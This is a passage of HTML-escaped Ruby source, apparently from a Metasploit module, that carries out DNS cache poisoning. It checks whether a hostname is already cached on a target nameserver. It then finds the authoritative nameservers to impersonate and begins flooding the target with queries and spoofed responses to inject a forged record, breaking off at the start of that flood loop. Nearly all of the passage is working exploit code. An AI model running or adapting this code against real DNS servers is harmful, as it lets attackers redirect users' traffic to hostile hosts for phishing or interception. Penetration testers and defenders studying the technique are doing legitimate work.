<br/>161&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if target != t_addr <br/>162&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;Warning: target address #{target} is not the same as the nameserver&#39;s query source address #{t_addr}!&#34;) <br/>163&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>164&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>165&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>166&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>167&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>168&nbsp;&nbsp;<br/>169&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Verify its not already cached <br/>170&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin <br/>171&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; query = Resolv::DNS::Message.new <br/>172&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; query.add_question(hostname, Resolv::DNS::Resource::IN::A) <br/>173&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; query.rd = 0 <br/>174&nbsp;&nbsp;<br/>175&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin <br/>176&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cached = false <br/>177&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srv_sock.put(query.encode) <br/>178&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; answer, addr = srv_sock.recvfrom() <br/>179&nbsp;&nbsp;<br/>180&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if answer and answer.length &gt; 0 <br/>181&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; answer = Resolv::DNS::Message.decode(answer) <br/>182&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; answer.each_answer do |name, ttl, data| <br/>183&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((name.to_s + &#34;.&#34;) == hostname&nbsp;&nbsp;and data.address.to_s == address) <br/>184&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; t = Time.now + ttl <br/>185&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;Failure: This hostname is already in the target cache: #{name} == #{address}&#34;) <br/>186&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cache entry expires on #{t.to_s}... sleeping.&#34;) <br/>187&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cached = true <br/>188&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sleep ttl <br/>189&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>190&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>191&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>192&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end until not cached <br/>193&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rescue ::Interrupt <br/>194&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; raise $! <br/>195&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rescue ::Exception =&gt; e <br/>196&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;Error checking the DNS name: #{e.class} #{e} #{e.backtrace}&#34;) <br/>197&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>198&nbsp;&nbsp;<br/>199&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res0 = Net::DNS::Resolver.new(:nameservers =&gt; [recons], :dns_search =&gt; false, :recursive =&gt; true) # reconnaissance resolver <br/>200&nbsp;&nbsp;<br/>201&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status &#34;Targeting nameserver #{target} for injection of #{hostname} as #{address}&#34; <br/>202&nbsp;&nbsp;<br/>203&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Look up the nameservers for the domain <br/>204&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status &#34;Querying recon nameserver for #{domain}&#39;s nameservers...&#34; <br/>205&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; answer0 = res0.send(domain, Net::DNS::NS) <br/>206&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #print_status &#34; Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities&#34; <br/>207&nbsp;&nbsp;<br/>208&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; barbs = [] # storage for nameservers <br/>209&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; answer0.answer.each do |rr0| <br/>210&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status &#34; Got an #{rr0.type} record: #{rr0.inspect}&#34; <br/>211&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if rr0.type == &#39;NS&#39; <br/>212&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status &#34;Querying recon nameserver for address of #{rr0.nsdname}...&#34; <br/>213&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; answer1 = res0.send(rr0.nsdname) # get the ns&#39;s answer for the hostname <br/>214&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #print_status &#34; Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities&#34; <br/>215&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; answer1.answer.each do |rr1| <br/>216&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status &#34; Got an #{rr1.type} record: #{rr1.inspect}&#34; <br/>217&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res2 = Net::DNS::Resolver.new(:nameservers =&gt; rr1.address, :dns_search =&gt; false, :recursive =&gt; false, :retry =&gt; 1)&nbsp;&nbsp;<br/>218&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status &#34;Checking Authoritativeness: Querying #{rr1.address} for #{domain}...&#34; <br/>219&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; answer2 = res2.send(domain) <br/>220&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if answer2 and answer2.header.auth? and answer2.header.anCount &gt;= 1 <br/>221&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nsrec = {:name =&gt; rr0.nsdname, :addr =&gt; rr1.address} <br/>222&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; barbs &lt;&lt; nsrec <br/>223&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status &#34;&nbsp;&nbsp;#{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as&#34; <br/>224&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>225&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>226&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>227&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>228&nbsp;&nbsp;<br/>229&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if barbs.length == 0 <br/>230&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status( &#34;No DNS servers found.&#34;) <br/>231&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srv_sock.close <br/>232&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; disconnect_ip <br/>233&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return <br/>234&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>235&nbsp;&nbsp;<br/>236&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Flood the target with queries and spoofed responses, one will eventually hit <br/>237&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; queries = 0 <br/>238&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; responses = 0 <br/>239&nbsp;&nbsp;<br/>240&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; connect_ip if not ip_sock <br/>241&nbsp;&nbsp;<br/>242&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status( &#34;Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...&#34;) <br/>243&nbsp;&nbsp;<br/>244&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while true 